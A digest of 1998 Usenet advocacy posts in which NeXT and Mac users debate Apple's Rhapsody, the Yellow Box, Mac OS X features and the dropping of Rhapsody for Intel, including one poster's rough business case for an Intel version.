>> ever awarded by the Federal Goverment is based on WebObjects.
>
>I suspect you left out quite a few qualifiers. 4th largest software
>contract maybe?
>
Yeah... my bad.
>Still, it's impressive.
>
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: Tue, 19 May 1998 21:51:23 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3562452B.1A0A2C09@milestonerdl.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jthrl$hg1$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Scott Anguish wrote:
> On 05/19/98, David Pischke wrote:
> >InfoWorld has an article on Mac OS X at this URL:
> >http://www.infoworld.com/cgi-bin/displayStory.pl?980519.wcosx.htm
> >
> ><Begin Quote>
> >Rhapsody's "Yellow Box," previously the area that housed the advanced
> OS
> >features, is also changing direction, Jobs said.
> >
>
> Sounds like Infoworld's (mis)interpretation. There are no
> longer to be any 'closed environments' in Mac OS X. There are no
> dividing lines between the various areas (Yellow, Blue and Carbon)..
>
> >"Our 'Yellow Box' strategy has been folded into our larger Java
> strategy
> >[all Yellow Box APIs are now in Java, enabling developers to write
> their
> >entire app in Java]," Jobs said. "We are continuing to refine this
> >strategy and will disclose it sometime this fall."
> >
>
> Its clear that Infoworld added the stuff in the [...] in an
> attempt to 'clarify' the situation. They got it wrong.
I've liked InfoWorld for MANY years. And they have tended to do a good
job.
If a publication like InfoWorld can "get the story wrong", perhaps the
fault is with Apple?
Perhaps Apple's message isn't clear enough. And, just maybe, this "new"
cloak-and-dagger crap should end. Figure out WHAT the message is, and
then, in lock-step, tell the same message.
A white paper here, a press release there.
Or, Apple can be content with a 'drift without a purpose' look. It seems
to be an in vogue look with the crowd that tatoos 6 color Apples on their
bodies.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 00:21:45 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005980021460001@dialin9111.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu> <joe.ragosta-1905982046000001@elk125.dol.net>
In article <joe.ragosta-1905982046000001@elk125.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <rmcassid-1905981449580001@dante.eng.uci.edu>, rmcassid@uci.edu
> (Robert Cassidy) wrote:
> > In MS's case, I sometimes wonder.
>
> Actually, it's not that farfetched for csma.
>
> Earlier, someone stated that WinNT won't run on Macs. When VPC was brought
> out as an example, several Wintel fans said that WinNT on VPC is not
> really running on a Mac. I guess WinNT doesn't need hardware, either.
That's funny. I am this evening trying to get NT installed under VPC right
now so I can do some WebObjects work seeing as Apple's software doesn't
yet run under Apple's OS or on Apple's hardware <growl>
You haven't been peeking in my office window, have you Joe? :-)
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 20:55:44 -0700
Message-ID: <see-below-1905982055450001@209.24.240.108>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfi4$uhv$1@crib.bevc.blacksburg.va.us> <6jsobd$rhn@newsb.netnews.att.com>
In article <6jsobd$rhn@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Nathan Urban <nurban@vt.edu> wrote:
>
> >Yellow/Windows suffers from intrinsic problems with NT, and doesn't give
> >a taste of the real Mac OS for those interesting in transitioning from
> >Windows to Macs.
>
> I'm not sure what the first part of the above sentence means, but
> if the Yellow-Box-on-Windows-applications have problems other than
> those shared by all Windows applications, then the
> Yellow-Box-cross-platform strategy is dead.
That's not at all what he was saying--the point is that running Yellow
applications on Windows is no different from running Windows applications
on Windows, since the end user is unlikely to even be aware of the
difference. The whole point is that they're still just running Windows,
and not learning anything at all about the superiority of Rhapsody.
I don't see how Yellow Box for Windows does anything at all to spur people
to investigate Rhapsody, or demonstrates anything better than Windows.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Tue, 19 May 1998 23:50:42 -0400
From: nospampischke@nospam.iname.com (David Pischke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Message-ID: <nospampischke-1905982350420001@ts7-32t-16.idirect.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us>
Organization: IDirect Internet
In article <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com>,
nospampischke@nospam.iname.com (David Pischke) wrote:
>
> > <Begin Quote>
> > Rhapsody's "Yellow Box," previously the area that housed the advanced OS
> > features, is also changing direction, Jobs said.
>
> > "Our 'Yellow Box' strategy has been folded into our larger Java strategy
> > [all Yellow Box APIs are now in Java, enabling developers to write their
> > entire app in Java]," Jobs said. "We are continuing to refine this
> > strategy and will disclose it sometime this fall."
>
> > I don't know, but this bit about the Yellow Box "changing direction" and
> > "being folded into our larger Java strategy" worries me...
>
> In what sense? I don't see a problem with offering Java APIs to Yellow.
I was concerned about the comment that the Yellow box is "changing
direction" and being "folded into" their Java strategy. Usually those
kinds of words are warning signs that something is going to be drastically
changed, or neutered somehow, if not dropped outright.
Scott Anguish's reply makes it clear that Infoworld added their own spin
on things, though. (Thank you for clarifying, and for your excellent WWDC
reporting!)
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 21:55:33 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35624625.57CFB9B7@milestonerdl.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfi4$uhv$1@crib.bevc.blacksburg.va.us> <6jsobd$rhn@newsb.netnews.att.com> <see-below-1905982055450001@209.24.240.108>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matthew Vaughan wrote:
> In article <6jsobd$rhn@newsb.netnews.att.com>,
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
> > Nathan Urban <nurban@vt.edu> wrote:
> >
> > >Yellow/Windows suffers from intrinsic problems with NT, and doesn't give
> > >a taste of the real Mac OS for those interesting in transitioning from
> > >Windows to Macs.
> >
> > I'm not sure what the first part of the above sentence means, but
> > if the Yellow-Box-on-Windows-applications have problems other than
> > those shared by all Windows applications, then the
> > Yellow-Box-cross-platform strategy is dead.
>
> That's not at all what he was saying--the point is that running Yellow
> applications on Windows is no different from running Windows applications
> on Windows, since the end user is unlikely to even be aware of the
> difference. The whole point is that they're still just running Windows,
> and not learning anything at all about the superiority of Rhapsody.
>
> I don't see how Yellow Box for Windows does anything at all to spur people
> to investigate Rhapsody, or demonstrates anything better than Windows.
From a USER standpoint yes. The 'siren song' of Rhapsody is supposed to be fast
and effective program development. And, in theory, you CAN do that with
OpenSTEP/YB under NT.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 20 May 1998 07:37:41 GMT
Organization: MiscKit Development
Message-ID: <6ju185$t5m$1@news.xmission.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <atlauren-1905982130180001@dialin33462.slip.uci.edu>
atlauren@uci.edu (Andrew Laurence) wrote:
>
> >
> >It must be nice to be Microsoft. Just change the .doc format a little
every
> >few years and keep reaping the billions from REQUIRED updates to remain
> >current.
>
> Very succinct. Have you considered sending this observation to the DOJ?
The observation isn't exactly new. For a nice elaboration, see
http://www.stepwise.com/Articles/Editorial/David_and_Goliath.html
from last July. It is a chilling observation, though certainly you could
argue for or against what Gary's saying. Regardless of that, though, it is a
fun read. :*)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Robb" <REMOVErobbh@home.com>
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com> <6jthl9$hfu$1@news.digifix.com>
Message-ID: <01bd83a3$072c65e0$4b620218@ci746489-a.nash1.tn.home.com>
Date: Wed, 20 May 1998 03:54:12 GMT
NNTP-Posting-Date: Tue, 19 May 1998 20:54:12 PDT
Organization: @Home Network
> Why not advocate Rhapsody to them? If they can get it, and
> like it, you've got another strong ally in making Apple listen.
Good idea. I emailed Dan Shafer, executive technical producer and editor
for CNET's BUILDER.COM. Included serveral links and recommended that they
look into it. We'll see.
--
Robb
http://members.home.net/robbh
Please post any responses to this newsgroup. To email me, delete "REMOVE"
from the email address embedded in this posting...thank you.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 21:04:41 -0700
Message-ID: <see-below-1905982104420001@209.24.240.108>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu>
In article <6jsc2d$cqh$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> Reasons why Apple should drop Rhapsody for Intel.
>
> (D5) If a person or organization runs Rhapsody for Intel they will
> loose 9x/NT compatibility except through a dual boot - so
> why would they do this vs. just running NT/9x w/ YB?
There could easily be a "red box" which runs Windows inside a window, or
on an alternate scren with a hot key (as a seperate process, much like the
Blue Box on Mac hardware). Ideal would be like Orange Micro's new
"snapshot" feature on their Intel hardware compatibility cards for Macs,
where either environment can appear within a window in the other
environment, with easy alternation between the two. This could be from
either a third party or built into the system by Apple.
Unlike running SoftWindows, this could be much better and cheaper - no
emulation of processor or other hardware, and no need to purchase Windows
as part of the package, since nearly everyone that would want it already
has Windows installed anyway. (Again, more like the Blue Box on Mac
hardware.)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: fw:Building a business case....
Date: 20 May 1998 07:44:00 GMT
Organization: Michigan State University
Message-ID: <6ju1k0$2dg$1@msunews.cl.msu.edu>
References: <x0u81.355$1k5.325633@news.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: eadeans@san.rr.com, jordan@apple.com, ernest@apple.com
In <x0u81.355$1k5.325633@news.san.rr.com> "Ed Deans." wrote:
> -----Original Message-----
> From: Jordan Dea-Mattson <jordan@apple.com>
> To: Rhapsody Discussion List <rhapsody@clio.lyris.net>
> Cc: Ernie Prabhakar <ernest@apple.com>
> Date: Tuesday, May 19, 1998 6:00 PM
> Subject: Building a business case....
>
> >Dear Alan -
> >
> >I would suggest that you work with others - to whom I have responded
- to
> >build a business case that shows a strong market for Rhapsody for
Intel
> >going forward.
> >
> >Our own market analysis doesn't show a business case that justifies
that
> >required investment.
> >
> >Once you have this business case, send it on to me and I will
forward it
> >to the appropriate people. Unfortunately, your email and the others
that
> >I have received don't have the level of detail and concretness that
is
> >needed to make the case you want to make.
> >
> >Yours,
> >
> >Jordan
Interesting. I have another thread going that tries to address this
topic.
Eventually we'll hit numbers. I think the most solid business case
would
be this.
Provided a 'red-box' could be provided on intel (not PPC - hell if
it could be had on PPC too that would be great) so that the legacy
apps could be there if needed. I would hazard to guess that at least
3-5% of windows users would switch in a heart beat were the price
for user in the $100 range (they'd have to have their own copy of
windows IMHO).
What is the total market of PC's (I don't have these numbers handy)
I expect it has to be on the order of 100 Million. If so were talking
about
2.7-4.5Million users (assuming MS has 90% of the market) purchasing
Rhapsody for Intel (provided your going to continue to support it -
really).
That translates to 270-450Million just in software income ALONE.
Now if in 2 years Apple sells 1 PPC for each 10 of those that switched
to Rhapsody for Intel. Let's see that would be 270-450K PPC units
just from the converts. At 1K/machine were talking another
270-450Million.
Not dramatic but possibly enough to justify 50-100 million in a
development
team NO? For a potential 5-20% chunk of the Wintel market..
Please it's a no brainer to me.
Also let's put this another way. If people can run on YB why in the
heck would they buy PPC? I spoke with a long time friend who's
been in the Mac camp for many years - who has recently become
a PC owner. He said that Apple lost him because he wasn't convinced
they would be around much longer, and most of the world he worked
with was PC based. He gave up a huge investiment in MacOS
software and he's not looking back. If he gets apps on YB great.
Will he buy PPC from Apple again. Nope! Will he if he can see
Rhapsody on Intel - "Maybe. But I'd have to see it on PPC to
compare first. And I'd still want windows on that PPC somewhere."
I say since YB is intended to be free that pretty much negates
any money coming to Apple from YB on 9x/NT (except for Enterprise).
So all Apple is left with is selling PPC units. And dropping Rhapsody
for Intel to try to coax people (what from intel) to PPC isn't going
to help in my mind.
By closing off Rhapsody on Intel from the masses you effectively
make it much hardware for anyone to make any reasons to migrate
to PPC. We'll have no chance to show the folks that like
the YB on Intel what Rhapsody on Intel can do - before we
can even talk about Rhapsody on PPC!!
Will you loose a PPC sale if Rhapsody is on Intel?
Doubtful since the only folks that will get PPC are those that need
backward compatibility from Carbon or BlueBox. Right now I see
no-one with any reason to buy PPC except your existing clientelle.
You have to have a reason for Intel people to get PPC and
that reason is that Rhapsody on Intel. Then if they can see
for themselves that Rhapsody just could be much better
if on PPC (this can be demonstrated with a single PPC unit)
I have no doubt they'd buy in.
Your MacOS developers have already told you that they arn't
interested (yet) in YB. So you are going to spend a crapload
of money to give them Carbon. Is this going to sell more PPC's?
No it just attempts to stop the dwindling user base. A lot of
them are balking because the PowerMacs you sold them
won't be running MacOS X. Whose to say their G3 won't
run the OS beyond that (or MacOS X for that matter -
sorry you have an old G3, or we just don't want to support it).
NONE of this will. Apple is simply trying to stem the tide
of MacOS developers defecting to 9x/NT. You were too late
all the big player already defected.
So the questions are now.
How does Apple keep its remaining developers? Does Apple
really want them on Carbon? Probably not! Wouldn't Apple
want its developers to move to YB since Carbon does nothing
for YB on 9x/NT. Have your MacOS developers ported to YB?
Have any?? I'm doubtful.
This means you have a group of core YB developers coming
from NeXT (Openstep/NeXTstep) that are going to have your
major YB applications (encourage them to compete with the
rouge big MacOS developers - pay them to make a Adobe
killer, etc.)
What about your MacOS developers? Do you really want
to keep them if they won't go to YB? I guess you can stick
with Carbon and hope. Funny Apple's future lies in the
hands of some finicky MacOS developers that don't
know what's good for them in YB.
Now let's speak about users. Your core group still mostly
runs OS 7.x. They will get nothing from YB. And gee they
will have to buy a PowerMac (you've said it will be dead
for MacOS X), or gee a G3. Right now they only get
emulation in Rhapsody and will have to wait now 18
months to get native Carbon apps on PPC. I'd bet they
are all going to try to wait as long as possible before
purchasing a shiny new PPC. That is unless they want
to keep running MacOS 8 (does 7 even run on a G3)
and they can run that now.
Apple do you realize what you are doing to your hardware
markets with all of these moves? People were already
skiddish about what hardware will run Rhapsody, now
they are even more so about MacOS X. Also even if
you could keep all your existing users and get them all
to buy G3's if the market is 100 million total you have
4million users that will buy what 4million boxes. At 1K
each that would be 4 Billion. It is much better than
the 100's of Millions I was talking about but don't you
want a share of the intel hardware markets? It's so
much larger..
Rhapsody for Intel can get you into the door with
PPC more places than YB ever will. And at least
you get some cash from people to try it. Nothing
from YB.
Apple if you plan on being a hardware company
release the specs to the Linux/FreeBSD/NetBSD/etc
folks so someone can compare Linux on PPC to
Intel. If it is so much better people will buy. If
you make it so that no-one can do the comparison
or you know the G3's arn't so great. Then closing
off any comparisions with competition would be
percieved as Apple conceding to Intel.
I suspect that due to the lower power requirements
and the very high frequencies attainable that PPC
could be a very solid win. Give us Rhapsody for
PPC and Intel so we can compare there, and
give us specs so we can run FreeBSD/Linux etc
for comparision. If G3 is so great then I'm sure
you'll start selling more boxes. Get together a
'red-box' for Rhapsody for Intel and you'll have
a very good reason to sell a lot of Rhapsody/Intel
and not just YB.
I personally have a lot of clients who would easily
give YB apps a try as things stand now. Who
would be easily encouraged to purchase Rhapsody
on Intel to try (especially if provided a 'red-box'
for windows compatibility). If they find satisfactory
solutions on Intel AND PPC has a solid price
performance edge (factor in ease of use, administration,
support costs, etc.) then I'm very confidant that
PPC would sell to these folks who all have intel
right now. You have to make sure the specs
for Linux are available and then it would be a cinch
to make these sales work (run Rhapsody or Linux
etc on PPC and watch it fly. As you get your bus
speeds and caches up to peak - you should be
able to cream Intel - BTW get some solid fp performance
I see the PA-RISC's are near top of the line what
is different in the fp cores?? I wonder if altvec
can help - don't know enough cause I'm reading
& posting to this weeny newsgroup)
Final point. I think the main reason that Apple will
continue to loose users/customers is because of
compatibility issues. Every time a user can't
communicate with a MS machine in some way
because they are not a MS machine it's a reason
to dump the non MS machine and get one.
Apple gets no money from YB for 95/NT. So in
effect you help MS to sell products, and Intel
to sell boxes. At the very least with Rhapsody
on intel with 'red-box' you offer a very solid
alternative. And if you have neater stuff for
YB eventually people can switch to Rhapsody
on Intel. Eventually when YB penetrates the
markets the Rhapsody on Intel folks will go
to PPC. That's the path to getting the Wintel
crowd to PPC. With out it you'll just be trying
to keep what you have rather than going after
what Microsoft and Intel have.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Tue, 19 May 1998 21:12:33 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1905982112330001@user-38ld608.dialup.mindspring.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us>
In article <6jsa2r$u82$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> (Kurt D. Bollacker) wrote:
>
> > WYSIWYG and Unified Fonts: How do I insure that fonts on screen and in
> > my printer are the same?
>
> Yellow apps will still have WYSIWYG and a unified imaging model. This of
> course won't hold true for MacOS or Carbon apps, but it wouldn't have in
> Rhapsody either.
Carbon apps will have access to extended QuickDraw and ATSUI, the common
wysiwig imaging system for MacOS X.
> > Remote Display: Want to have a CPU farm for mammoth applications? Say
> > goodbye to efficient network computing. Say hello to MS style
> > licensing for every machine.
>
> Loss of remote display is bad. :( They may put it back in later, or
> leave hooks for others to do so.
While remote display via DPS-over-the-wire may be gone, other forms of
client/server computing are still possible. Don't rule this out for the
future.
> > Symbolic Links: With the move from UFS to HFS, I now have a practically
> > unusable file system. (e.g. What if you want to access a large file on
> > another (dynamically mounted) filesystem from an application expecting
> > it to be on the local filesystem?)
>
> From Scott Anguish's Stepwise coverage:
>
> "During the Q&A Alex Cone asked about support for sym links on HFS+
> volumes. Apparently the file system team has put some thought into it
> and they think they can do this using aliases, but they have ruled out
> hard links."
>
> http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-File.html
Alii are actually quite powerfull. I won't get into a religious debate
with Unix-heads. Wait and see what MacOS X gives you before writing it
off.
>
> > Case Sensitivity: Also with the UFS->HFS+ transition, I lose the
> > ability to have "Makefile" and "makefile" in the same directory. Say
> > goodbye to painless GNU installations.
>
> Actually, if I recall correctly, you _can_ have "Makefile" and "makefile",
> it's just that if you _request_ one of them it will first try a
> case-sensitive match and then a case-insensitive one. But I'm not sure.
Additionaly, as was stated at the Core OS: File Systems talk, MacOS X will
have support for volume formats other than HFS+.
-mark
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 20:40:30 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3561DFC2.6959@earthlink.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <199805161935311708461@sdn-ts-002txhousp06.dialsprint.net> <6jn27c$199@ragnarok.en.uunet.de> <199805190436283436846@sdn-ts-001txhousp08.dialsprint.net> <joe.ragosta-1905980903480001@wil94.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> But dropping Rhapsody for Intel is, IMHO, a serious mistake because it
> loses much of the _promise_ of Rhapsody. There are a ton of Windows users
> who want something better that runs on their hardware, but don't know
> enough to use Linux. Rhapsody would fit the bill.
You said it Joe!
Steve
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Tue, 19 May 1998 21:24:33 -0700
Message-ID: <see-below-1905982124330001@209.24.240.108>
References: <6jrak9$936$1@geraldo.cc.utexas.edu>
In article <6jrak9$936$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> Being a long-time NeXT user, I was looking forward to Rhapsody being
> the logical step forward, the thought of a G3 (or G4!) machine with
> essentially OpenSTEP and the ability to run MacOS programs seemed
> compelling. However, starting with NeXTSTEP 3.3, then OpenSTEP,
> Rhapsody, and finally MacOS X, the capabilities I know and love have
> been stripped away from me. Here's a list of things that I would miss
> comparing NeXTSTEP 3.2 on NeXT Hardware to MacOS X on Apple Hardware:
>
>
> DSP : My NeXT box could play stereo CD-quality sound without taxing
> the CPU at all, and graphics could be rendered faster. There's lots
> of uses for a DSP (why else would Intel create MMX?). I'm sorry it
> never caught on.
If you're just playing a CD itself on a Mac, it doesn't tax the CPU
either, as far as I know, and there's also a heck of a lot of sound
processing software that now works with many channels of CD-quality sound.
It's pretty easy to play high-quality audio or video in the background
without interruption while doing other things on current processors. Ever
wonder why those Photoshop-specific multi-DSP cards dissappeared when the
Mac went to PPC? PPC has some nice instructions that make it pretty good
at that kind of thing, making it usually not worth the expense of
including a separate DSP chip.
Also, Motorola is pursuing their VMX/AltiVec technology, which should ship
by early next year (not sure exactly when it would be used in Macs), and
supposedly will blow away MMX in performance, and make most DSP functions
redundant.
As for graphics, most Macs and PCs now use accelerated graphics cards
which off-load a lot of common graphics functions from the CPU (actually,
most PCs have pretty powerful sound hardware, too, but Macs' sound
hardware is much simpler, though still quite capable).
On the other hand, Apple is rumored to be working on Philips TriMedia
technology to off-load multimedia functions from the CPU, though I wonder
if that will also die off when VMX arrives.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jpalmer@-noshpam-best.com (Joseph Palmer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Wed, 20 May 1998 04:14:58 GMT
Organization: My organization? Least recently used.
Message-ID: <6jtl9t$cfm$1@nntp1.ba.best.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com> <6jthl9$hfu$1@news.digifix.com> <01bd83a3$072c65e0$4b620218@ci746489-a.nash1.tn.home.com>
In article <01bd83a3$072c65e0$4b620218@ci746489-a.nash1.tn.home.com>, "Robb" <REMOVErobbh@home.com> wrote:
>> Why not advocate Rhapsody to them? If they can get it, and
>> like it, you've got another strong ally in making Apple listen.
>
>Good idea. I emailed Dan Shafer, executive technical producer and editor
>for CNET's BUILDER.COM. Included serveral links and recommended that they
>look into it. We'll see.
>
You suppose they have the 430 Million dollars to buy it?
J.
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Wed, 20 May 98 04:12:15 GMT
Message-ID: <6jtlb0$dc7$3@nntp2.ba.best.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net>
In article <joe.ragosta-1905982053010001@elk125.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <6jt7tt$enb$1@newsfep4.sprintmail.com>, macghod@concentric.net
> wrote:
>
>
>It was a bad decision, but not the disaster you're implying. Since they'll
>be able to run YB on NT or Win9x, they can use YB without buying new
>hardware.
>
Yes it is bad. You running on top of another OS layer; relying on its
services.
If that is the case
Why would anyone run YB when they could run OpenNT and get a real Unix layer
on NT and run NT applications.. Because of OpenNT, this was one of the main
reasons why the AirForce decided to go with NT. Their old Unix apps worked on
cheaper NT boxes (which you so much like to talk about---- had lower TCO than
their previous Unix Workstations).
OpenNT is shipping, It exist. Its Here. YB is just another applicaton on top
of an existing OS. Rhapsody, a real unix environment have have better built-in
unix interoperablity than YB.. Does Apple plan to offer NFS in YB? They
should. Can One "telnet from their NT machine at home to another YB on NT at
the office?"
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Tue, 19 May 1998 21:23:29 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1905982123290001@user-38ld608.dialup.mindspring.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu>
In article <6jsm6t$bjf$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> Nathan Urban (nurban@crib.bevc.blacksburg.va.us) wrote:
> : In article <6jrak9$936$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>
> : Apple has an MMX-equivalent in the works: Altivec. Probably inaccurate
> : to say that it's an "MMX-equivalent", it's more like an "MMX-killer".
> : Check out:
>
> Great! However, it's still not a separate processor. Can Altivec run a
> DSPish program in separate memory at the same time the rest of the CPU
> is executing?
Actually (as someone who works on a multimedia architecture) I'd rather
have SIMD on the CPU rather than in a DSP. DSPs *P*rocess data, and having
to shuffle the data - potentially roundtrip - over a bus usually negates
the performance win.
AltiVec adds an extra execution unit so that the integer and fp pipelines
don't block (unlike MMX).
Of course, a multi-processor machine with 2 or more AltiVec-G3s would be
quite nice ;-)
> : From Scott Anguish's Stepwise coverage:
> : "During the Q&A Alex Cone asked about support for sym links on HFS+
> : volumes. Apparently the file system team has put some thought into it
> : and they think they can do this using aliases,
>
> If this work from a text command line, then great! Otherwise, it's
> useless.
HFS volumes can be navigated via your favorite shell (this was demoed at
the Core OS: File Systems talk)
>
> : > Compressed Swapfile: Maybe this will be in OSX?
> : Why wouldn't it??? The whole BSD/Mach infrastructure in OS X is Rhapsody!
>
> If you are correct, then this is outstanding!
Specifically, the Mac OS X Core OS is Mach 3 + BSD 4.4 plus Apple niceties
like IOKit etc.
> : > Visible insertion of EPS files: I consider a graphics editor to be
> : > useless with visible insertion of .eps files. Will this be in OSX?
>
> : Alas, this appears to be something of a casualty:
>
> : "The EPS image rep will degrade so that we'll only get previews on
> : the screen, and they will only print on PS printers (although you can
> : run them through distiller and then load the PDF into an NSImageRep
> : (this will be added)."
>
> This is by far and away the most critical feature to me. Without seemless EPS
> inclusion, I'd say MacOSX is worth about 50% to me than it would be otherwise,
> since I'd primarily use it for document generation.
PDF was chosen as the meta-file format of Mac OS X.
-mark
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 20 May 1998 08:11:52 GMT
Organization: University of California at San Diego
Message-ID: <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu> <6jsrm1$v57$1@crib.bevc.blacksburg.va.us>
On 19 May 1998 16:56:33 -0400, Nathan Urban
:Unlike MMX, Altivec executes instructions in an _independent_
:instruction pipeline with its own register set and such (though it shares
:main memory with the rest of the CPU). It's also SIMD.
Sounds good, inside one task.
On the other hand, does this really bust up the context switch performance?
I wouldn't want general multitasking performance degraded just because
once in a while I see a video.
--
